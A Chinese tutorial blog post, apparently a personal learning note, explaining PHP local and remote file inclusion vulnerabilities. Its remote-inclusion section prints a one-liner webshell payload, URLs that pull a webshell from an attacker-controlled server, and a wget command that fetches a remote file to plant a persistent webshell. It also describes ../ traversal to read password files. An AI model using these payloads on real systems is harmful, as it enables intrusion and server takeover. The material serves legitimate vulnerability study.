• 详解文件包含漏洞


    文件包含漏洞触发前提:

    allow_url_fopen = On  &&  allow_url_include = Off     此时才可以触发本地文件包含漏洞

    allow_url_fopen = On  &&  allow_url_include = On     此时才可以触发远程文件包含漏洞

    其中,allow_url_fopen一直都是默认开启的,而allow_url_include从PHP5.2之后就是默认关闭的了

    涉及到的危险函数:

    include(),include_once()
    require(),require_once()

    include()&&require() 的区别:

                include() 产生一个警告而 require() 则导致一个致命错误。也就是include()包含不到文件时还是会继续运行脚本,而require()包含文本时却又没有这个文本就会终止运行脚本。

    include_once()&&require_once() 的区别:

                他俩就是保证在代码被包括后就不会再包括,保证了在文件包含时只能包含一次。

      当前期的系统配置支持的情况下,不合理的使用文件包含,就可能造成文件包含漏洞。

    一.本地文件包含

      比如当我们的127.0.0.1/include/fi_local.php文件中有下面源码,并且include目录下含有phpinfo.php的时候

    代码截取:

    if(isset($_GET['submit']) && $_GET['filename']!=null){
        $filename=$_GET['filename'];
        include "include/$filename";

    //通过Get方式提交两个参数submit和filename,当filename不为空时,就可以实现本地文件的包含

      原本是想让我们直接提交127.0.0.1/include/fi_local.php?filename=phpinfo.php&submit=提交查询,此时就可以直接包含phpinfo.php 文件,而当你不以正常想法去包含这个phpinfo.php文件的时候,而是去包含一个不存在的test.php文件时就会出现下面报错

    Warning: include(include/test.php): failed to open stream: No such file or directory in ……/include/fi_local.php on line 23

    Warning: include(): Failed opening 'include/test.php' for inclusion (include_path='.;C:phppear') in ……/include/fi_local.php on line 23

      当然,我们还可以创建一个写入了<?php phpinfo(); ?> 的hello.txt文件或者hello.jpg文件,只要是写入了php语言的任意文件,都可以被文件包含当做php文件读取出来。

    此时我们提交127.0.0.1/include/fi_local.php?filename=hello.txt&submit=提交查询

    就可以查询php环境信息,模块和web环境。

    二.远程文件包含

    代码截取:

    比如当我们的127.0.0.1/include/fi_remote.php文件中有下面源码,并且include目录下含有phpinfo.php的时候

    if(isset($_GET['submit']) && $_GET['filename']!=null){
        $filename=$_GET['filename'];
        include "$filename";

    //通过Get方式提交两个参数submit和filename,当filename不为空时,就可以实现远程文件的包含

    此时,我们在127.0.0.1/file/路径下创建一个文件yijuhua.txt

    <?php
      $myfile = fopen("yijuhua.php","w");
      $txt = '<?php system($_GET[hacker]);?>';
      fwrite($myfile,$txt);
      fclose($myfile);
    ?>

    此时我们访问127.0.0.1/include/fi_remote.php

    通过Get方式提交:?filename=http://127.0.0.1/file/yijuhua.txt&submit=提交查询  时,就会生成一个一句话木马文件 yijuhua.php

    <?php system($_GET[hacker]);?>

    然后我们就可以通过蚁剑连接一句话木马

      当然,既然可以这样实现木马文件的创建,我们就可以在自己的服务器上放置一个写好了的webshell

    http://192.168.1.xxx/web/webshell.php

    然后通过远程文件包含漏洞去下载这个webshell

    http:xxx.xx.x.xxx/……/fi_remote.php?filename=http://192.168.1.xxx/web/webshell.php&submit=提交查询

    文件包含漏洞的危害

    通过文件包含漏洞,可以读取系统中的敏感文件,源代码文件等,如密码文件,通过对密码文件进行暴力破解,若破解成功则可获取操作系统的用户账户,甚至可通过开放的远程连接服务进行连接控制;另外文件包含漏洞还可能导致执行任意代码,不管本地文件包含还是远程文件包含!

    文件包含漏洞的利用

    一、读取目标主机上的其他文件,主要是本地文件包含。

      由于一些参数没有经过过滤,我们就可以通过多次探测可能包含的文件,从而读取出目标主机中的一些敏感文件,在没有过滤 ../ 的时候,我们可以通过 ../ 来进行目录跳转,从而读取出其他目录下的文件,当然在../被过滤掉的情况下我们也可以直接通过绝对路径进行文件读取。

    二、包含可运行的网页木马,主要是远程文件包含。

      通过跳转到自己服务器中的webshell,也可以下载通过访问下载木马文件在目标主机中,也可以创建一个写入一些 weget 命令啥的cmd.txt文件在自己主机上,通过构造url去远程执行命令

      weget命令可以下载指定URL的文件

      pwd可以查看当前绝对路径

    三、包含一个创建文件的相应代码文件,因为通过文件包含漏洞获取的shell不是长久的,如果这个漏洞修补了,那么shell也就不存在了,因此需要创建一个真实的shell。我们可以先包含一个可以执行cmd的伪shell,然后使用wget加-O参数(类似:

    http://x.x.x.x/index.php?page=http://www.1ster.cn/cmd.txt?cmd=wget http://x.x.x.x/muma.txt -O muma.php)获取一个真正的webshell。如果系统中没有wget命令,获取目录不可写,那么我们可以包含一个创建文件的脚本,然后通过脚本上传木马文件。

    文章仅作为学习笔记,欢迎指正,不喜勿喷!
  • 相关阅读:
    启动VMware出现报错:The VMware Authorization Service is not running
    CentOS8安装SQLServer2019
    CentOS8安装Tomcat
    CentOS8安装java环境
    手把手0基础Centos下安装与部署paddleOcr 教程
    redis反向代理docker容器中的rabbit mq服务
    MQTT 4 ——MQTT的Spring Mvc 配置接收字节流数据
    MQTT 3 ——MQTT与Spring Mvc整合
    MQTT 2——服务端安装与客户端测试
    MQTT 1——物联网集成项目技术选型与说明
  • 原文地址:https://www.cnblogs.com/Hunter-01001100/p/11361041.html
Copyright © 2020-2023  润新知